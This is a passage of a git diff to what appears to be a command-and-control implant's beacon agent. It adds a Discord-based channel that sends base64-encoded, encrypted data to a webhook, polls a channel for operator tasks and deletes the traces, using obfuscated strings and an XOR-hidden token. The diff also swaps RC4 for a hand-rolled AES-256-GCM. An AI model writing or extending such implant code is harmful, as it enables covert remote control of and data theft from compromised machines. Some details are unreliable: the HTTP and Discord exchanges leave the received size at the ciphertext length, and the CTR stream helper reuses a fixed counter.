(objStart >= respLen) + break; + + // Find matching '}' (simple — no nested objects in Discord message content) + ULONG objEnd = objStart + 1; + int depth = 1; + while (objEnd < respLen && depth > 0) { + if (jsonStr[objEnd] == '{') depth++; + else if (jsonStr[objEnd] == '}') depth--; + objEnd++; + } + + ULONG objLen = objEnd - objStart; + + // Extract "id" and "content" from this object + ULONG idLen = 0, contentLen = 0; + CHAR* id = this->ExtractJsonString(jsonStr + objStart, objLen, "id", &idLen); + CHAR* content = this->ExtractJsonString(jsonStr + objStart, objLen, "content", &contentLen); + + if (content && contentLen > 0) { + msgIds[msgCount] = id; + msgIdLens[msgCount] = idLen; + msgContents[msgCount] = content; + msgContentLens[msgCount] = contentLen; + msgCount++; + } else { + if (id) { memset(id, 0, idLen); this->functions->LocalFree(id); } + if (content) { memset(content, 0, contentLen); this->functions->LocalFree(content); } + } + + searchPos = objEnd; + } + + if (msgCount == 0) { + DBG("[*] Discord: PollTasks no valid messages found"); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + return; + } + + DBG("[*] Discord: PollTasks found %d messages", msgCount); + + // Process messages in reverse order (oldest first, Discord returns newest-first) + // Base64-decode each content and concatenate + BYTE* accumBuf = NULL; + ULONG accumLen = 0; + + for (int i = msgCount - 1; i >= 0; i--) { + if (!msgContents[i] || msgContentLens[i] == 0) + continue; + + // Validate base64 + int decSize = b64_decoded_size(msgContents[i]); + if (decSize <= 0) + continue; + + BYTE* decBuf = (BYTE*) this->functions->LocalAlloc(LPTR, decSize); + if (!b64_decode(msgContents[i], decBuf, decSize)) { + this->functions->LocalFree(decBuf); + continue; + } + + // Append to accumulator + if (!accumBuf) { + accumBuf = decBuf; + accumLen = decSize; + } else { + BYTE* newBuf = (BYTE*) this->functions->LocalAlloc(LPTR, accumLen + decSize); + memcpy(newBuf, accumBuf, accumLen); + memcpy(newBuf + accumLen, decBuf, decSize); + memset(accumBuf, 0, accumLen); + this->functions->LocalFree(accumBuf); + memset(decBuf, 0, decSize); + this->functions->LocalFree(decBuf); + accumBuf = newBuf; + accumLen += decSize; + } + } + + // Set received data + if (accumBuf && accumLen > 0) { + this->recvData = accumBuf; + this->recvSize = (int) accumLen; + DBG("[+] Discord: PollTasks decoded %lu bytes from %d messages", accumLen, msgCount); + } + + // Cleanup: delete messages if configured + if (this->profile.cleanup) { + for (int i = 0; i < msgCount; i++) { + if (msgIds[i] && msgIdLens[i] > 0) + this->DeleteMessage(msgIds[i]); + } + } + + // Free message strings + for (int i = 0; i < msgCount; i++) { + if (msgIds[i]) { + memset(msgIds[i], 0, msgIdLens[i]); + this->functions->LocalFree(msgIds[i]); + } + if (msgContents[i]) { + memset(msgContents[i], 0, msgContentLens[i]); + this->functions->LocalFree(msgContents[i]); + } + } + + // Free raw response + memset(resp, 0, respLen); + this->functions->LocalFree(resp); +} + + +// ============================================================================ +// SendData — POST data to webhook, then poll tasks channel +// +// Flow matches ConnectorHTTP::SendData(): +// 1. If data != NULL, base64-encode and POST via webhook +// 2. Poll tasks channel for inbound commands (GET + parse + decode) +// ============================================================================ + +void ConnectorDiscord::SendData(BYTE* data, ULONG data_size) +{ + this->recvSize = 0; + this->recvData = NULL; + + // 1. Send outbound data via webhook + // Format: base64(beat) + "\n" + base64(body) [or just base64(beat) if no body] + // The listener expects beat in every message for agent identification + { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + LPSTR encData = (data && data_size > 0) ? b64_encode(data, data_size) : NULL; + + if (encBeat) { + DWORD beatLen = _slen(encBeat); + DWORD bodyLen = encData ? _slen(encData) : 0; + + // Discord message limit is 2000 chars. + // Each message contains: beat|body_chunk (beat repeated in every message) + // This way the listener can process each message independently. + DWORD maxBodyPerMsg = 1900 - beatLen - 1; // reserve space for beat + '|' + if (maxBodyPerMsg < 100) maxBodyPerMsg = 100; + + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + auto ctHeader = OBF("Content-Type: application/json\r\n"); + DWORD preLen = _slen(jPre); + DWORD sufLen = _slen(jSuf); + + DWORD bodyOffset = 0; + BOOL firstChunk = TRUE; + + do { + // Build message content: beat|body_chunk (or just beat if no body) + DWORD chunkLen = 0; + if (bodyLen > 0 && bodyOffset < bodyLen) { + chunkLen = bodyLen - bodyOffset; + if (chunkLen > maxBodyPerMsg) chunkLen = maxBodyPerMsg; + } + + DWORD contentLen = beatLen + (chunkLen > 0 ? 1 + chunkLen : 0); + LPSTR content = (LPSTR) this->functions->LocalAlloc(LPTR, contentLen + 1); + DWORD coff = 0; + _scopy(content + coff, encBeat, beatLen); coff += beatLen; + if (chunkLen > 0) { + content[coff++] = '|'; + _scopy(content + coff, encData + bodyOffset, chunkLen); coff += chunkLen; + } + content[coff] = 0; + + // Build JSON + ULONG jsonLen = preLen + contentLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD joff = 0; + _scopy((CHAR*)jsonBuf + joff, jPre, preLen); joff += preLen; + _scopy((CHAR*)jsonBuf + joff, content, contentLen); joff += contentLen; + _scopy((CHAR*)jsonBuf + joff, jSuf, sufLen); joff += sufLen; + jsonBuf[joff] = 0; + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost2 = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost2, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: POST chunk bodyOff=%lu chunkLen=%lu -> %s", bodyOffset, chunkLen, ok ? "OK" : "FAIL"); + + if (resp) { memset(resp, 0, respLen); this->functions->LocalFree(resp); } + memset(jsonBuf, 0, jsonLen); this->functions->LocalFree(jsonBuf); + memset(content, 0, contentLen); this->functions->LocalFree(content); + + bodyOffset += chunkLen; + + // Rate limit delay between chunks + if (bodyOffset < bodyLen) { + ApiWin->Sleep(500); + } + + firstChunk = FALSE; + } while (bodyLen > 0 && bodyOffset < bodyLen); + + memset(encBeat, 0, beatLen); this->functions->LocalFree(encBeat); + if (encData) { memset(encData, 0, bodyLen); this->functions->LocalFree(encData); } + } + } + + // 2. Wait for the listener to process our message and post tasks + // The listener polls every poll_interval seconds, so we wait at least that long + { + ULONG waitMs = (this->profile.poll_interval + 3) * 1000; // poll + 3s processing margin + if (waitMs < 4000) waitMs = 4000; + if (waitMs > 30000) waitMs = 30000; + DBG("[*] Discord: waiting %lu ms for listener to process...", waitMs); + ApiWin->Sleep(waitMs); + } + + // 3. Poll tasks channel for inbound commands + this->PollTasks(); +} + + +// ============================================================================ +// RecvData / RecvSize / RecvClear +// ============================================================================ + +BYTE* ConnectorDiscord::RecvData() +{ + return this->recvData; +} + +int ConnectorDiscord::RecvSize() +{ + return this->recvSize; +} + +void ConnectorDiscord::RecvClear() +{ + if (this->recvData && this->recvSize) { + memset(this->recvData, 0, this->recvSize); + this->functions->LocalFree(this->recvData); + this->recvData = NULL; + } + this->recvSize = 0; +} + + +// ============================================================================ +// CloseConnector — cleanup all resources +// ============================================================================ + +void ConnectorDiscord::CloseConnector() +{ + if (this->hSession) { + this->functions->InternetCloseHandle(this->hSession); + this->hSession = NULL; + } + + if (this->beatData) { + memset(this->beatData, 0, this->beatSize); + this->functions->LocalFree(this->beatData); + this->beatData = NULL; + this->beatSize = 0; + } + + if (this->tokenObf) { + memset(this->tokenObf, 0, this->tokenObfLen); + this->functions->LocalFree(this->tokenObf); + this->tokenObf = NULL; + this->tokenObfLen = 0; + } + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + if (this->functions) { + memset(this->functions, 0, sizeof(DISCORDFUNC)); + } +} + + +// ============================================================================ +// Connector interface implementation +// ============================================================================ + +BOOL ConnectorDiscord::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) +{ + ProfileDiscord* prof = (ProfileDiscord*)profilePtr; + return this->SetConfig(*prof, beat, beatSize); +} + +void ConnectorDiscord::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) +{ + if (plainData && plainSize > 0) { + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); + } + else { + this->SendData(NULL, 0); + } + + if (this->recvSize > 0 && this->recvData) { + int dataSize = this->RecvSize(); + BYTE* dataPtr = this->RecvData(); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h new file mode 100644 index 000000000..744d94fe4 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h @@ -0,0 +1,76 @@ +#pragma once + +#include +#include +#include "AgentConfig.h" +#include "Connector.h" + +#define DECL_API(x) decltype(x) * x + +struct DISCORDFUNC { + DECL_API(LocalAlloc); + DECL_API(LocalReAlloc); + DECL_API(LocalFree); + DECL_API(LoadLibraryA); + DECL_API(GetLastError); + + DECL_API(InternetOpenA); + DECL_API(InternetConnectA); + DECL_API(HttpOpenRequestA); + DECL_API(HttpSendRequestA); + DECL_API(InternetSetOptionA); + DECL_API(InternetQueryOptionA); + DECL_API(HttpQueryInfoA); + DECL_API(InternetQueryDataAvailable); + DECL_API(InternetCloseHandle); + DECL_API(InternetReadFile); +}; + +class ConnectorDiscord : public Connector +{ + HINTERNET hSession; + + CHAR discordHost[128]; + CHAR webhookPath[512]; + CHAR tasksPath[256]; + CHAR authHeader[256]; + + BYTE tokenXorKey[32]; + BYTE* tokenObf; + ULONG tokenObfLen; + + BYTE* recvData; + int recvSize; + + ProfileDiscord profile; + BYTE* beatData; + ULONG beatSize; + BOOL beatSent; + + DISCORDFUNC* functions; + + BOOL HttpsRequest(const CHAR* method, const CHAR* path, const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, BYTE** outBuf, ULONG* outLen); + void ParseWebhookUrl(const CHAR* url); + void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen); + CHAR* ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen); + CHAR* ExtractJsonArray(const CHAR* json, ULONG jsonLen, ULONG* outLen); + void DeleteMessage(const CHAR* messageId); + void DeobfuscateToken(CHAR* out, ULONG outSize); + void PollTasks(); + + BOOL SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize); + void SendData(BYTE* data, ULONG data_size); + +public: + ConnectorDiscord(); + + BOOL SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) override; + void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override; + BYTE* RecvData() override; + int RecvSize() override; + void RecvClear() override; + void CloseConnector() override; + + static void* operator new(size_t sz); + static void operator delete(void* p) noexcept; +}; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp index 1780230e2..7ed870682 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp @@ -439,8 +439,10 @@ void ConnectorHTTP::RecvClear() void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -449,8 +451,10 @@ void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) if (this->recvSize > 0 && this->recvData) { int dataSize = this->RecvSize(); BYTE* dataPtr = this->RecvData(); - if (dataSize > 0 && dataPtr) - DecryptRC4(dataPtr, dataSize, sessionKey, 16); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp index c4b0c46e2..fc9cba5b4 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp @@ -193,8 +193,10 @@ void ConnectorSMB::Disconnect() void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); } @@ -210,8 +212,11 @@ void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) return; } - if (this->recvSize > 0 && this->recvData) - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + if (this->recvSize > 0 && this->recvData) { + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; + } } void ConnectorSMB::DisconnectInternal() diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp index 7d860cadb..4db804eb0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp @@ -274,8 +274,10 @@ void ConnectorTCP::Disconnect() void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -287,7 +289,9 @@ void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp index 9cc8eb395..13479ba20 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp @@ -1,43 +1,330 @@ #include "Crypt.h" +#include "utils.h" -void RC4Init(unsigned char* key, unsigned char* S, int keyLength) { - int i, j = 0; - unsigned char temp; +static const unsigned char g_sbox[256] = { + 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, + 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, + 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, + 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, + 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, + 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, + 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, + 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, + 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, + 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, + 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, + 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, + 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, + 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, + 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, + 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 +}; - for (i = 0; i < 256; i++) { - S[i] = (unsigned char)i; +static const unsigned char g_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 +}; + +static unsigned char gf_mul(unsigned char a, unsigned char b) { + unsigned char p = 0; + for (int i = 0; i < 8; i++) { + if (b & 1) + p ^= a; + unsigned char hi = a & 0x80; + a <<= 1; + if (hi) + a ^= 0x1b; + b >>= 1; + } + return p; +} + +static void aes256_key_expand(const unsigned char* key, unsigned char* roundKeys) { + unsigned char temp[4]; + int i; + + for (i = 0; i < 32; i++) + roundKeys[i] = key[i]; + + int nk = 8; + int nb = 4; + int nr = 14; + + for (i = nk; i < nb * (nr + 1); i++) { + temp[0] = roundKeys[(i-1)*4 + 0]; + temp[1] = roundKeys[(i-1)*4 + 1]; + temp[2] = roundKeys[(i-1)*4 + 2]; + temp[3] = roundKeys[(i-1)*4 + 3]; + + if (i % nk == 0) { + unsigned char t = temp[0]; + temp[0] = temp[1]; + temp[1] = temp[2]; + temp[2] = temp[3]; + temp[3] = t; + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + temp[0] ^= g_rcon[i/nk - 1]; + } + else if (i % nk == 4) { + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + } + + roundKeys[i*4 + 0] = roundKeys[(i-nk)*4 + 0] ^ temp[0]; + roundKeys[i*4 + 1] = roundKeys[(i-nk)*4 + 1] ^ temp[1]; + roundKeys[i*4 + 2] = roundKeys[(i-nk)*4 + 2] ^ temp[2]; + roundKeys[i*4 + 3] = roundKeys[(i-nk)*4 + 3] ^ temp[3]; + } +} + +static void aes_add_round_key(unsigned char* state, const unsigned char* rk) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[i]; +} + +static void aes_sub_bytes(unsigned char* state) { + for (int i = 0; i < 16; i++) + state[i] = g_sbox[state[i]]; +} + +static void aes_shift_rows(unsigned char* state) { + unsigned char t; + t = state[1]; state[1] = state[5]; state[5] = state[9]; state[9] = state[13]; state[13] = t; + t = state[2]; state[2] = state[10]; state[10] = t; + t = state[6]; state[6] = state[14]; state[14] = t; + t = state[15]; state[15] = state[11]; state[11] = state[7]; state[7] = state[3]; state[3] = t; +} + +static void aes_mix_columns(unsigned char* state) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + unsigned char s0 = state[i], s1 = state[i+1], s2 = state[i+2], s3 = state[i+3]; + state[i+0] = gf_mul(s0, 2) ^ gf_mul(s1, 3) ^ s2 ^ s3; + state[i+1] = s0 ^ gf_mul(s1, 2) ^ gf_mul(s2, 3) ^ s3; + state[i+2] = s0 ^ s1 ^ gf_mul(s2, 2) ^ gf_mul(s3, 3); + state[i+3] = gf_mul(s0, 3) ^ s1 ^ s2 ^ gf_mul(s3, 2); + } +} + +static void aes256_encrypt_block(const unsigned char* roundKeys, const unsigned char* in, unsigned char* out) { + unsigned char state[16]; + memcpy(state, in, 16); + + aes_add_round_key(state, roundKeys); + + for (int r = 1; r < 14; r++) { + aes_sub_bytes(state); + aes_shift_rows(state); + aes_mix_columns(state); + aes_add_round_key(state, roundKeys + r * 16); + } + + aes_sub_bytes(state); + aes_shift_rows(state); + aes_add_round_key(state, roundKeys + 14 * 16); + + memcpy(out, state, 16); +} + +// ========== GCM ========== + +static void gcm_inc32(unsigned char* ctr) { + for (int i = 15; i >= 12; i--) { + if (++ctr[i]) + break; + } +} + +static void ghash_mul(unsigned char* x, const unsigned char* h) { + unsigned char z[16] = {0}; + unsigned char v[16]; + memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (1 << (7 - (i % 8)))) { + for (int j = 0; j < 16; j++) + z[j] ^= v[j]; + } + unsigned char carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) + v[0] ^= 0xe1; + } + memcpy(x, z, 16); +} + +static void ghash(const unsigned char* h, const unsigned char* aad, int aadLen, + const unsigned char* ct, int ctLen, unsigned char* out) { + unsigned char x[16] = {0}; + int i, j; + + for (i = 0; i < aadLen; i += 16) { + int blockLen = aadLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= aad[i + j]; + ghash_mul(x, h); } - for (i = 0; i < 256; i++) { - j = (j + S[i] + key[i % keyLength]) % 256; - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + for (i = 0; i < ctLen; i += 16) { + int blockLen = ctLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= ct[i + j]; + ghash_mul(x, h); } + + unsigned char lenBlock[16] = {0}; + unsigned long long aadBits = (unsigned long long)aadLen * 8; + unsigned long long ctBits = (unsigned long long)ctLen * 8; + lenBlock[0] = (unsigned char)(aadBits >> 56); + lenBlock[1] = (unsigned char)(aadBits >> 48); + lenBlock[2] = (unsigned char)(aadBits >> 40); + lenBlock[3] = (unsigned char)(aadBits >> 32); + lenBlock[4] = (unsigned char)(aadBits >> 24); + lenBlock[5] = (unsigned char)(aadBits >> 16); + lenBlock[6] = (unsigned char)(aadBits >> 8); + lenBlock[7] = (unsigned char)(aadBits); + lenBlock[8] = (unsigned char)(ctBits >> 56); + lenBlock[9] = (unsigned char)(ctBits >> 48); + lenBlock[10] = (unsigned char)(ctBits >> 40); + lenBlock[11] = (unsigned char)(ctBits >> 32); + lenBlock[12] = (unsigned char)(ctBits >> 24); + lenBlock[13] = (unsigned char)(ctBits >> 16); + lenBlock[14] = (unsigned char)(ctBits >> 8); + lenBlock[15] = (unsigned char)(ctBits); + + for (j = 0; j < 16; j++) + x[j] ^= lenBlock[j]; + ghash_mul(x, h); + + memcpy(out, x, 16); } -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) { - int i = 0, j = 0, k; - unsigned char temp; +static int aes256_gcm_crypt( + const unsigned char* key, + const unsigned char* iv, int ivLen, + const unsigned char* aad, int aadLen, + const unsigned char* in, int inLen, + unsigned char* out, + unsigned char* tag, int tagLen, + int mode) +{ + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); - for (k = 0; k < dataLength; k++) { - i = (i + 1) % 256; - j = (j + S[i]) % 256; + unsigned char h[16] = {0}; + aes256_encrypt_block(roundKeys, h, h); - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + unsigned char j0[16] = {0}; + if (ivLen == 12) { + memcpy(j0, iv, 12); + j0[15] = 1; + } else { + ghash(h, NULL, 0, iv, ivLen, j0); + } + + unsigned char ctr[16]; + memcpy(ctr, j0, 16); + gcm_inc32(ctr); + + unsigned char keystreamBlock[16]; + for (int i = 0; i < inLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = inLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + out[i + j] = in[i + j] ^ keystreamBlock[j]; + } - data[k] ^= S[(S[i] + S[j]) % 256]; + const unsigned char* ctData = (mode == 0) ? out : in; + unsigned char ghashResult[16]; + ghash(h, aad, aadLen, ctData, inLen, ghashResult); + + unsigned char encJ0[16]; + aes256_encrypt_block(roundKeys, j0, encJ0); + + unsigned char computedTag[16]; + for (int i = 0; i < 16; i++) + computedTag[i] = ghashResult[i] ^ encJ0[i]; + + if (mode == 0) { + memcpy(tag, computedTag, tagLen); + return 0; + } else { + unsigned char diff = 0; + for (int i = 0; i < tagLen; i++) + diff |= tag[i] ^ computedTag[i]; + return diff ? -1 : 0; } } -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - unsigned char S[256]; - RC4Init(key, S, keyLength); - RC4EncryptDecrypt(data, dataLength, S); +// ========== Public API ========== + +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + int totalLen = AES_GCM_IV_SIZE + dataLen + AES_GCM_TAG_SIZE; + unsigned char* output = (unsigned char*)MemAllocLocal(totalLen); + if (!output) + return NULL; + + unsigned char* iv = output; + for (int i = 0; i < AES_GCM_IV_SIZE; i++) + iv[i] = (unsigned char)(GenerateRandom32() & 0xFF); + + unsigned char* ct = output + AES_GCM_IV_SIZE; + unsigned char* tag = output + AES_GCM_IV_SIZE + dataLen; + + aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, data, dataLen, ct, tag, AES_GCM_TAG_SIZE, 0); + + *outLen = totalLen; + return output; +} + +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + if (dataLen < AES_GCM_OVERHEAD) + return -1; + + unsigned char* iv = data; + int ctLen = dataLen - AES_GCM_OVERHEAD; + unsigned char* ct = data + AES_GCM_IV_SIZE; + unsigned char* tag = data + AES_GCM_IV_SIZE + ctLen; + + unsigned char* plain = (unsigned char*)MemAllocLocal(ctLen); + if (!plain) + return -1; + + int result = aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, ct, ctLen, plain, tag, AES_GCM_TAG_SIZE, 1); + + if (result == 0) { + memcpy(data, plain, ctLen); + *outLen = ctLen; + } + + MemFreeLocal((LPVOID*)&plain, ctLen); + return result; } -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - EncryptRC4(data, dataLength, key, keyLength); -} \ No newline at end of file +void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key) { + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); + + unsigned char ctr[16] = {0}; + ctr[15] = 1; + + unsigned char keystreamBlock[16]; + for (int i = 0; i < dataLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = dataLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + data[i + j] ^= keystreamBlock[j]; + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h index 2d2c4bd31..0e8610e78 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h @@ -1,9 +1,25 @@ #pragma once -void RC4Init(unsigned char* key, unsigned char* S, int keyLength); +// ========== AES-256-GCM (session encryption) ========== +// Key: 32 bytes, IV: 12 bytes (random), Tag: 16 bytes +// Encrypt output format: [IV(12)] [Ciphertext(dataLen)] [Tag(16)] +// Total output size = 12 + dataLen + 16 = dataLen + 28 +// Decrypt input format: [IV(12)] [Ciphertext(len-28)] [Tag(16)] -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S); +#define AES_GCM_KEY_SIZE 32 +#define AES_GCM_IV_SIZE 12 +#define AES_GCM_TAG_SIZE 16 +#define AES_GCM_OVERHEAD (AES_GCM_IV_SIZE + AES_GCM_TAG_SIZE) -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); +// Returns newly allocated buffer (via MemAllocLocal) containing [IV][Ciphertext][Tag]. +// Caller must free with MemFreeLocal. *outLen set to total output size. +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); \ No newline at end of file +// Decrypts [IV][Ciphertext][Tag] in-place (overwrites input buffer with plaintext). +// Returns 0 on success, -1 on auth failure. *outLen set to plaintext size. +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); + +// AES-256-CTR stream cipher: in-place encrypt/decrypt with zero overhead. +// Deterministic keystream from key (counter starts at 1). +// Symmetric: encrypt and decrypt are the same operation. +void CryptAES256Stream(unsigned char* data, int 